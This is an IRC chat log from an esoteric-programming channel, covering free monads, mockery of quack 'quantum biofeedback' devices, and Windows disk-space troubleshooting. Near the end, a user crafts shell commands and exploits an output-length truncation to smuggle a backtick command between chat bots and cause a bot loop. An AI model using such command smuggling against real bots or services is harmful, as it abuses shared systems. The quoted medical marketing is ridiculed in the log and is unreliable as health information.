08:40:42 <zzo38> I have read the article about free monad too, and try a few things, and realize what kind of data structure it makes
08:40:58 <shachaf> The Pirates of Penzance, Berkeley Playhouse, Start Date:02/25 End Date 04/01/12
08:41:12 <shachaf> elliott_: Can you fix it so that they stop writing the date like that in the US?
08:41:43 <zzo38> I know it is a dumb way to write the date.
08:42:05 <shachaf> A Funny Thing Happened on the Way to the Forum, Pacifica Spindrift Theatre, Start Date:03/16 End Date 04/15/12
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08:49:05 <HackEgo> cheater: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
08:49:14 <HackEgo> churchburner: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
08:53:03 <churchburner> whats up with lang where interpreter asks the user unanswerable questions
08:53:15 <elliott_> whats up with what being up with it
08:54:18 <churchburner> is there a page or exampl3s, that lang is the shit
08:55:27 <Sgeo> What is the language called?
08:55:33 <Sgeo> Or do you not know?
08:57:00 <Sgeo> Among others, there will be some instructions that actually do something useful, though their good effects will not be documented. Programming would require avoiding "traps", both included in specification and not.
08:57:01 <Sgeo> Isn't there already a language like that called "C"?
08:57:04 <elliott_> if it's on the list of ideas, it doesn't exist yet
09:00:22 <Sgeo> "Rapture is a language inspired by the recent prediction that the world will end on May 21st, 2011, 6 p.m. on the dot (The Bible Guarantees It!) As such, all scheduling in the language is done by making predictions that certain events will run at certain real time dates in the future. When said date inevitably passes without it executing, the program will make an elaborate theological excuse for it not have happening. (e.g. prime_sieve() fail
09:00:23 <Sgeo> ed to start because Jesus heard our sincere prayers and spared our CPU from its great burden.)"
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09:05:01 <pikhq> Sgeo: BTW, he's at it again.
09:07:34 <pikhq> God dammit, no, I misremembered. I thought for some reason that Harold Camping had made *another* fucking apocalypse prediction.
09:08:56 <Sgeo> How is he holding up these days?
09:09:14 <pikhq> Apparently he's recovering from a stroke.
09:09:24 <Sgeo> From Wikipedia: "Camping admitted in a private interview that he no longer believed that anybody could know the time of the Rapture or the end of the world, in stark contrast to his previously staunch position on the subject."
09:09:58 <Sgeo> Is WeCanKnow.com still up, yes it is.
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09:11:11 * Sgeo notes a "Message from Mr. Camping" on the Family Radio site
09:12:30 <Sgeo> I can't help but noticing his speech being ... stroke-y. That's not what I should be focused on.
09:45:54 <elliott_> http://news.php.net/php.bugs/167978
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09:53:22 <oklodol> ion: about your throat swallowing problem and fever unhavingnessity but still feeling like crappity, how long did your problems last?
09:54:38 <fizzie> oklodol: May I recommend The Quantum Xrroid Consciousness Interface? It's got blinking lights, and will cure you. (Reference: http://www.quantum-biofeedback.net/how.html )
09:54:48 <oklodol> so if i have 40 C fever, will they let me on the plane
09:55:33 <elliott_> fizzie: how much does this cost & i want one
09:56:36 <fizzie> elliott_: There's a forum post selling a unit for $3000.
09:56:44 <fizzie> The poster says he paid $13000 for it.
09:57:02 <fizzie> But it doesn't come with the software, it's mostly for if you want a secondary unit.
09:57:19 <oklodol> Call us. Don't you deserve a Quantum Experience?
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09:57:43 <oklodol> Certified Biofeedback Therapist
09:57:55 <fizzie> elliott_: Sure, http://www.energeticforum.com/epfx-quantum-biofeedback/6722-qxci-unit-sale-3-000-a.html
09:58:11 <fizzie> elliott_: Also http://curezone.com/forums/am.asp?i=777896 a second-hand model for $6000.
09:58:49 <elliott_> HOW DO PEOPLE ACTUALLY WANT TO BUY THESE
09:59:04 <fizzie> "So I have one download left on my QXCI that you would have to put on your own computer." So, uh... maybe?
09:59:09 <elliott_> http://www.energetic-medicine.net/QXCI.html I DONT UNDERSTAND
09:59:55 <fizzie> "When it comes round to therapy, buttons are clicked on a screen with little evidence of programming beyond the graphical displays on the QXCI saying it is treating." HOW RUDE.
10:00:11 <oklodol> I am the only owner of this device and of course, it works perfectly in the quantum field of life :-)
10:00:27 <elliott_> "Basically it shows up anything that is affecting the health. For example, if someone has digestive trouble, the QXCI may show that they had salmonella as a child, which is still causing them problems. . . ."
10:00:39 <elliott_> The QXCI device is recommended for adults, children and pets, as well as for self-use; and some proponents even claim that it can work with the patient located elsewhere. A California practitioner who advertised that sessions could be done "from the other side of the world," stated:
10:00:39 <elliott_> If you choose to do a distance-type appointment, you will need to send a recent-as-possible sample of your hair in an envelope and your current signature on a 3" x 5" white index card. This will be placed in the QXCI so that the program may sample your body's frequency. The sample and signature must arrive BEFORE the appointment can be made [6].
10:00:51 <elliott_> they should use feather, then the sample and signature could arrive after too
10:01:51 <fizzie> elliott_: Sadly, I think FDA banned importing the thing to the US, at least.
10:01:54 <fizzie> http://www.quackwatch.org/01QuackeryRelatedTopics/Tests/xrroid.html
10:02:12 <fizzie> "In January 2008, after being embarrassed by investigative reports published in the Seattle Times [22], the FDA banned importation of the QCXI [23]."
10:02:23 <elliott_> That was where my quoth originate.
10:02:45 <elliott_> more fuel for fda conspiracy theories im sure
10:03:25 <fizzie> "The IMUNE Web site suggested that practitioners have their clients sign an "informed consent" which states (in part): I . . . understand that the QXCI is a device used to identify and balance sources of bio-energetic stress that may impact on the mind-body system. No information should be construed as a claim or representation that this device is used in the diagnosis, cure, mitigation, treatment or prevention of disease or any other medical ...
10:03:56 <oklodol> elliott_: did you read your own link?
10:04:10 <oklodol> it's does the diagnosis based on a
10:04:35 <oklodol> It works by entering data into a screen, which is fed into the EPFX QXCI / SCIOs weighted random number generator which in turn displays results. When it comes round to therapy, buttons are clicked on a screen with little evidence of programming beyond the graphical displays on the QXCI saying it is treating.
10:04:57 <oklodol> Princeton University, while not having anything to do with the EPFX QXCI / SCIO in particular, have shown in independent studies that random events can be influenced.
10:05:01 <oklodol> i would love the reference
10:05:21 <oklodol> no i haven't opened fizzie's link
10:05:27 <fizzie> elliott_: That was in fact from energetic-medicine.net too.
10:05:38 <oklodol> yeah, the official site says that. see, random events can be influenced.
10:06:06 <elliott_> didnt link the quackwatch page
10:06:23 <elliott_> i thought ht at was the quackwatch people
10:06:38 <elliott_> an interesting marketing strategy
10:06:48 <oklodol> this is what quantum xeroidists actually believe
10:07:05 <elliott_> oklodol: speaking of influencing random events how good are you at retropsychokinesis
10:07:17 <fizzie> elliott_: I think they're mostly saying that because they want to sell their own NES-Pro.
10:07:26 <fizzie> "This is perhaps a reflection of the age of the QXCI / SCIO system, both in terms of software and hardware. However, it is refreshing to note that there is a device available on the modern market which fulfils our requirements for a state of the art system designed with ease of application in mind – namely, the NES-Pro."
10:07:27 <elliott_> fizzie: oh, is that not the official site or something
10:07:39 <fizzie> Well, it's an official site of some energetic medicine people.
10:08:00 <elliott_> oklodol: is that an actual answer and/or have you not tried it and/or do you even know what i'm talking about and/or if you d o ok
10:08:16 <Sgeo> I hope my medicine has energy. I think ingesting a 0k pill might be bad for me.
10:08:27 <fizzie> They have this sort of a comparison matrix at http://www.energetic-medicine.net/device-comparison.html of the different devices.
10:09:06 <elliott_> fizzie: how good are you at retropsychokinesis im gathering data on finns
10:09:47 <fizzie> Of course the best option is to just spend 11200+16000+21000+13500+15000+15000+10000+12000+1129+13500+3000+2495+6000+5000+15000+10000+1995+3000+15000+5000+170+3500+1695+3500+497 = 204181 dollars and get one of each.
10:10:05 <fizzie> (Except I had to skip Mitosan Therapy and Bodyscan because they didn't have prices listed.)
10:10:42 <fizzie> Anyway, the QXSI/SCIO, according to the table, has "No Credible Scientific Backing", while the NES has "Extensive research team with scientific backing".
10:10:52 <elliott_> fizzie: how good are you at retropsychokinesis im gathering data on finnsfizzie: how good are you at retropsychokinesis im gathering data on finnsfizzie: how good are you at retropsychokinesis im gathering data on finnsfizzie: how good are you at retropsychokinesis im gathering data on finns
10:11:03 <oklodol> NES has Extensive research team with scientific backing
10:11:03 <fizzie> I kinda suck at it. :/ :/ :\
10:11:23 <fizzie> oklodol: Admittedly the Nintendo Entertainment System has some good science behind it.
10:11:30 <oklodol> elliott_: so i checked what that is and i'm not very good at it actually
10:11:49 <elliott_> again i remain unsure whether the answers i am getting are genuine or just fizzie making stuff up for the yuks because he thinks i'm joking about a thing that isn't a thing
10:11:59 <elliott_> oklodol: ok thank you for your data
10:12:09 <elliott_> my working hypothesis is that finns are really bad at retropsychokinesis
10:12:18 <elliott_> probably Deewiant will prove me wrong by like
10:12:37 <oklodol> so let me tell you a story
10:12:46 <oklodol> there was this guy whose throat was hurting real bad
10:12:53 <oklodol> and he was like lemme take a pill that'll help
10:13:05 <elliott_> How do you get rid of my micro-organisms and irritants?
10:13:05 <elliott_> We do it electronically. We find what is stressing your system through Quantum BioFeedback testing. Then we neutralize those irritants electronically. Our system has nothing to do with conventional medicine. We don't use drugs or work on the biochemical level as traditional medicine does. We help heal your energy field through physics. Painlessly. Once your stresses are neutralized, your body is the real healer. Afterward, your immune system is
10:13:06 <elliott_> de-stressed and free to heal you to higher levels.
10:13:08 <fizzie> And then BIOFEEDBACK HAPPENED.
10:13:14 <elliott_> What kind of acute problems can it help?
10:13:14 <elliott_> Perhaps you're coming down with a cold or a virus. You've stubbed your toe. You're suffering from a backache. You have tennis elbow. Sciatic pain in your hip. We treat your specific energy flow in this area. When your energy field flows properly, your body is free to heal.
10:13:15 <oklodol> he was like hey i don't need water
10:13:29 <oklodol> and the pill got stuck but he didn't notice because his throat hurt
10:13:53 <fizzie> Was this guy in fact YOU?!
10:14:08 <oklodol> well i may have modified to story a bit to make it interesting
10:14:29 <fizzie> Also I want to share another very important point in favour of NES-Pro: "In contrast to the many radionics/biofeedback devices available today such as the QXCI, the NES-Pro does not imprint corrective information directly onto the client, rather, it uses liquid imprints taken orally over a course of the treatment protocol. This method has two main benefits over direct biofeedback: 1) there is no direct portal opened into the energetic field of the ...
10:14:35 <fizzie> ... client, meaning there is a reduced likelihood of background noise, e.g. computer radiation etc., also being received; 2) the client increases their dosage sequentially, so they can control the speed and retracing of ill-health."
10:15:01 <fizzie> Getting computer radiation into my energetic field via the direct portals, I hate it when that happens.
10:15:11 <elliott_> so does this mean i could infect my energetic field by computing things carefully
10:16:06 <fizzie> Mmmaybe, but I'm sure you need some sort of a ten-grand box to open the portal first.
10:16:19 <elliott_> Hey, how do I print partition table on linux with humane units thx
10:16:27 <elliott_> (fdisk prints hideous huge monstrosity numbers)
10:17:41 <elliott_> I don't have parted to preempt that
10:17:48 <elliott_> Probably there's some fdisk command to make the output more reasonable
10:18:31 <elliott_> Oh, I'm not actually using those 7601.13 megabytes as swap.
10:18:35 <elliott_> How much disk space does Windows 7 use?
10:19:25 <elliott_> HDD free space16 GB of free disk space20 GB of free disk space
10:19:25 <fizzie> "parted -l" also does a print-in-human-units if you happen to have it installed.
10:19:34 <elliott_> Well, I... don't have that kind of disk.
10:19:48 <elliott_> I suppose I could just install XP.
10:19:53 <elliott_> fizzie: <elliott_> I don't have parted to preempt that
10:21:55 <fizzie> Maybe a Windows 7 Starter, isn't that, like, small.
10:22:02 <fizzie> At least they stick it into small boxes.
10:22:05 <elliott_> I see nobody is butting in saying "actually MY windows only takes 6 gigabytes" or whatever.
10:22:10 <elliott_> I don't really want to do "the XP thing".
10:22:16 <elliott_> (This is all because I want to play Worms.)
10:22:51 <fizzie> I don't have the laptop-with-a-Windows-7 on, and I doubt it does a thing where it's a thing. I mean that thing. The wake-on-lan thing.
10:23:31 <elliott_> It's one step from that, to sentience.
10:24:09 <Sgeo> I should install that autocomplete thing for emacs
10:24:16 <elliott_> Sgeo: How big is your Windows 7.
10:24:51 <elliott_> Sgeo: How big is your Windows 7.
10:24:54 <Sgeo> HD space? I have no idea, and can't easily check due to non-working computer.
10:25:05 <Sgeo> It runs acceptably with 1GB RAM if that helps
10:25:51 <fizzie> elliott_: Hey, I have a Windows Server 2003 or something in this Linux workstation. I had completely forgotten about that. It seems to reside on two hundred-gigabyte partitions. Let's see.
10:25:51 <elliott_> shachaf: How big is your Windows 7?
10:26:01 <fizzie> 11G ./System Volume Information
10:26:11 <elliott_> fizzie: That's... not Windows 7.
10:26:13 <fizzie> I don't know what "System Volume Information" is.
10:26:30 <elliott_> http://indrajitc.wordpress.com/2008/03/25/reclaiming-disk-space-from-system-volume-information/
10:27:42 <fizzie> I don't have the MAC address of the laptop listed in /etc/ethers. :/
10:27:47 <fizzie> I suppose there's a DHCP lease for it, though.
10:28:57 <fizzie> Oh no it doesn't seem to write leases for fixed-address hosts.
10:29:45 <fizzie> Well, I poked it with etherwake.
10:29:45 * elliott_ is imagining that it's ~2 metres away from fizzie.
10:30:34 <fizzie> 4.35 km straight-line distance.
10:31:11 <fizzie> Anyway, I have a bad feeling that it doesn't bring the networking up until I log in and nm-applet starts and notices.
10:31:21 <Sgeo> elliott_, WINE isn't working?
10:31:34 <elliott_> fizzie: Your router has 4 km long Ethernet cables?
10:31:45 <elliott_> Sgeo: Indeed. I think it's a driver problem, or -- something, anyway, it's mysterious.
10:31:49 <fizzie> I'm glad to report that I was the worng and it actually woke up by etherwake.
10:32:20 <elliott_> Yay, More PHP Security Vulnerability Updates(tm)
10:33:42 <fizzie> So the C:\Windows is 16G and then there's additional 5.1G of C:\Users and 31G of C:\Program Files (x86).
10:33:51 <fizzie> It's kinda-sorta big, apparently.
10:33:52 <elliott_> fizzie: Well that's an awful big.
10:33:56 <elliott_> I have a feeling stock C;\Windows is smaller.
10:35:06 <elliott_> That's the one thing it needs to be perfect.
10:35:29 <fizzie> 3.3G of C:\Windows is in "System32", 1.2G is in "SysWOW64", 5.8G in "winsxs", 1.6G in "assembly", and the rest of the subparts are less than a jiggabyte.
10:36:06 <fizzie> I have to say I like the "WOW, it's 64!" connotations of Windows-on-Windows.
10:36:25 <elliott_> WOW That's What I Call Windows 64
10:36:30 <elliott_> (Do you have those over there?)
10:37:14 <fizzie> I do have all kinds of .NET framework versions installed which probably waste a space.
10:37:16 <elliott_> If not: http://en.wikipedia.org/wiki/Now_That's_What_I_Call_Music! (They have the dubious distinction of being full of material you would not, in fact, call music.)
10:37:48 <fizzie> Though I was not personally familiar with them.
10:37:56 <fizzie> "As of 2007, eight Now! albums have been released in Finland. There have also been spin-offs including Now That's What I Call Music Pop Hits and Now That's What I Call Dance Music."
10:38:17 <fizzie> I think I had seen the "Absolute Hits" things it mentions.
10:39:27 <elliott_> Hey, I could install Windows 7 to the yuusb drive.
10:39:44 <elliott_> It's an actual external hard disk, though.
10:40:23 <fizzie> I don't suppose it's USB 3.0 or anything?
10:41:24 <elliott_> Ha. No, this laptop predates USB 3 being on anything, I believe.
10:42:47 <elliott_> Also there's the problem that, uh, the external hard disk is what I'll need to use to install it.
10:42:52 <elliott_> Does XP even install from yuusb media?
10:43:53 <fizzie> I think they mostly "do" install both from and to an external disk for the value of "people have managed to fiddle enough to do it" of "do".
10:44:32 <elliott_> "In the past, Microsoft offered a tool called the Windows 7 USB/DVD Download Tool that automated the process of converting a Windows 7 Setup ISO file and copy its contents to a bootable USB storage device or to DVD."
10:44:44 <elliott_> fizzie: That sounds considerably easier than any XP hackery.
10:45:04 <fizzie> Yes, the "from" bit is probably better supported.
10:45:49 <elliott_> fizzie: (Do you feel like a magician, booting a computer from kilometres away?)
10:46:04 <fizzie> http://www.intowindows.com/how-to-install-windows-7-to-usb-external-hard-drive-must-read/ "Windows cannot be installed to this disk. Setup does not support configuration of or installation to disks connected through a USB or IEEE 1394 port."
10:46:20 <fizzie> But there's instructions on how to do it with WAIK.
10:47:06 <fizzie> Also I do feel a bit like a magician, except it's slightly diminished since I've booted the workstation some dozens of times like that. This was the first time I tried with the laptop, though.
10:47:22 <fizzie> Fortunately it had the wired cable connected, wake-on-wireless it definitely doesn't do.
10:47:27 <elliott_> It's spooky action at a distance.
10:48:10 <elliott_> I somewhat doubt 7 will install into 7601 megs.
10:49:03 <fizzie> http://windows.microsoft.com/en-US/windows7/products/system-requirements "16 GB available hard disk space (32-bit) or 20 GB (64-bit)"
10:49:30 <fizzie> That's the Official Word.
10:49:47 <fizzie> Official Microsoft Word, not to be confused with, well, Microsoft Word.
10:50:13 <elliott_> Yes, I enquotened Wikipedia on that matter abovely.
10:50:58 <elliott_> I don't suppose I could somehow make an NTFS partition as a file on the jfs partition, like some horrible reverse Wubi manœuvre.
10:51:44 <fizzie> Cleaning tabs, I found a "biofeedback devices" blog complaining about the EPFX QXCI/SCIO. "Bill Nelson the developer of The EPFX/SCIO or QXCI conducted himself in a very unprofessional manner in some of the interviews and as a result, caused tremendous harm not only to The EPFX/SCIO market but to the entire bio-energteic industry. -- Furthermore his lifestyle as a transvestite has done his company or the industry absolutely no favors at all. Check ...
10:51:50 <fizzie> ... out these links: -- Bill Nelson models as a pregnant female: Click here."
10:51:53 <fizzie> I don't think I will be clicking here.
10:51:55 <fizzie> But it's a weird world.
10:55:36 <fizzie> It's at least unlikely to be a supported thing.
10:56:18 <fizzie> Well, I mean, outside for making a file on the jfs partition and then using that file as a VirtualBox/VMWare/whatever disk image, running it in an operating system that can do jfs.
10:56:46 <elliott_> http://tex.stackexchange.com/users/4427/egreg?tab=reputation
10:56:52 <elliott_> That's an impressive daily reputation change.
10:57:04 <elliott_> fizzie: Well, I was "considering" VirtualBox.
10:57:50 <Sgeo> o.O VOTING FRAUD?
11:00:31 <fizzie> TeXland is probably well-known for corrupted officials and unfair elections.
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11:01:49 <elliott_> "But LaTeX3 is really about three to four different levels" -- a list of five items follows.
11:04:22 <zzo38> I have just realized that the free monad of the indexed store comonad is a barrier monad.
11:07:06 <zzo38> (When I wrote the stuff on the paper then I realized)
11:08:40 <elliott_> fizzie: Oh, there's a http://liliputing.com/2009/08/easiest-way-to-install-windows-on-a-netbook-with-a-usb-flash-drive.html thing.
11:09:03 <elliott_> There's also a my chromium is freezing aaah thing.
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11:33:58 <Sgeo> I think I'm starting to dislike #lisp
11:34:34 <Sgeo> Telling someone not to implement a toy lisp to C converter because there are already things that do CL to C
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12:00:16 <mroman> Smileys are actuall Beam code!!!
12:00:23 <elliott_> ^scramble Smileys are actuall Beam code!!!
12:00:23 <fungot> SiesaeatalBa oe!!!dcme luc r ylm
12:05:40 <fizzie> fungot: Feeling scrambled after all that?
12:05:41 <fungot> fizzie: but it's much like new zealand, in my stone-age country, we still like you even if you're only using the new fnord
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12:12:38 <elliott_> `addquote <fizzie> fungot: Feeling scrambled after all that? <fungot> fizzie: but it's much like new zealand, in my stone-age country, we still like you even if you're only using the new fnord
12:12:39 <fungot> elliott_: how usable is borges in the real world
12:12:42 <HackEgo> 812) <fizzie> fungot: Feeling scrambled after all that? <fungot> fizzie: but it's much like new zealand, in my stone-age country, we still like you even if you're only using the new fnord
12:12:44 <elliott_> `addquote <fungot> elliott_: how usable is borges in the real world
12:12:44 <fungot> elliott_: it may not be true on some other tune. go do that now, but i'd like to read
12:12:47 <HackEgo> 813) <fungot> elliott_: how usable is borges in the real world
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12:19:12 <mroman> Anybody want to explain the new topic? o_O
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12:20:34 <elliott_> mroman: http://en.wikipedia.org/wiki/David_Wynn_Miller
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12:22:44 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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12:25:32 <fizzie> This channel is just so welcoming.
12:25:33 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:25:41 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:25:55 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:26:00 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:26:05 <fizzie> HackEgo: Couldn't you, I don't know, get some sense and not be so repetitive.
12:26:05 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:26:05 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:26:06 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:26:06 <elliott_> fizzie: Well, they didn't seem to get the hint to stick around with the previous welcomes.
12:26:06 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:26:15 <elliott_> CLEARLY WE WERE INSUFFICIENTLY WELCOMING.
12:26:34 <fizzie> Did you see my double-directed welcome?
12:26:35 <fizzie> `@ elliott welcome elliott
12:26:39 <elliott_> ?so `run welcome fdhsfdsgdsg; echo '?so'
12:26:39 <lambdabot> `run welcome fdhsfdsgdsg; echo '?so' not available
12:26:40 <HackEgo> elliott: elliott: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:26:42 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page \ ?so not available
12:27:41 <elliott_> `run echo 'echo "?so `run $(cat bin/ok); #$(welcome fdhsfdsgdsg)"' >bin/ok; chmod +x bin/ok
12:27:49 <HackEgo> echo "?so `run $(cat bin/ok); #$(welcome fdhsfdsgdsg)"
12:27:55 <HackEgo> /hackenv/bin/ok: line 1: unexpected EOF while looking for matching ``' \ /hackenv/bin/ok: line 2: syntax error: unexpected end of file
12:28:04 <elliott_> `run echo 'echo "?so \`run $(cat bin/ok); #$(welcome fdhsfdsgdsg)"' >bin/ok; chmod +x bin/ok
12:28:12 <HackEgo> ?so `run echo "?so \`run $(cat bin/ok); #$(welcome fdhsfdsgdsg)"; #fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:28:35 <elliott_> `run echo 'echo "?so \`ok $(welcome fdhsfdsgdsg)"' >bin/ok; chmod +x bin/ok
12:28:44 <HackEgo> ?so `ok fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:28:55 <elliott_> Oh, HackEgo does the Unicode nonsense.
12:29:01 <elliott_> fizzie: You should kick it for wasting my valuable time.
12:29:19 <elliott_> `run echo 'echo "^ul (?so \`ok $(welcome fdhsfdsgdsg))S"' >bin/ok; chmod +x bin/ok
12:29:26 <HackEgo> ^ul (?so `ok fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page)S
12:29:33 <elliott_> Oh, duh, that won't work either.
12:29:44 <HackEgo> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:30:36 <elliott_> @where+ okokok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc
12:30:38 <lambdabot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc
12:30:45 <elliott_> @where+ okokok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcXXX
12:30:46 <lambdabot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcXXX
12:30:51 <elliott_> @where+ okokok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcXXX
12:30:53 <lambdabot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcXXX
12:30:56 <elliott_> @where+ okokok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcXXX
12:30:58 <lambdabot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcXXX
12:31:02 <elliott_> @where+ okokok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcXXX
12:31:03 <lambdabot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcXXX
12:31:06 <elliott_> @where+ okokok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcXXX
12:31:08 <lambdabot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcab
12:31:15 <elliott_> mroman: Shhh! Science at work.
12:31:26 <elliott_> @where+ okokok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcXXX
12:31:27 <lambdabot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcab
12:31:51 -!- fdhsfdsgdsg has left.
12:31:54 <elliott_> @where+ okokok ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcab`welcome fdhsfdsgdsg
12:32:04 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
12:32:11 <elliott_> @where+ okokok ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca`welcome fdhsfdsgdsg
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12:32:14 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
12:32:18 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:32:27 <fungot> elliott_: daniel is a bf implementation in tcl is a bit excessive. does he specify that? oh, yeh!! wash the
12:32:32 <elliott_> fizzie: Why do you *ruin* everything?
12:32:32 <fizzie> I am very ashamed to report that is so.
12:32:42 <elliott_> You can fix that. I know you can fix that, at runtime and all.
12:33:00 <elliott_> Come on, that length overflow is genius!
12:33:04 <fizzie> Anyway, we've *had* botloops. But I can fix it for a couple of iterations if you somehow need.
12:33:05 <elliott_> I deserve to see my spoils. :(
12:33:07 <fungot> ^(EgoBot|HackEgo|toBogE|Sparkbot|optbot|lambdabot)!
12:33:15 <fizzie> ^ignore ^(EgoBot|HackEgo|toBogE|Sparkbot|optbot)!
12:33:18 <elliott_> Thank you, as long as a "couple" means "fifteen or so".
12:33:21 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
12:33:22 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
12:33:22 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
12:33:25 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
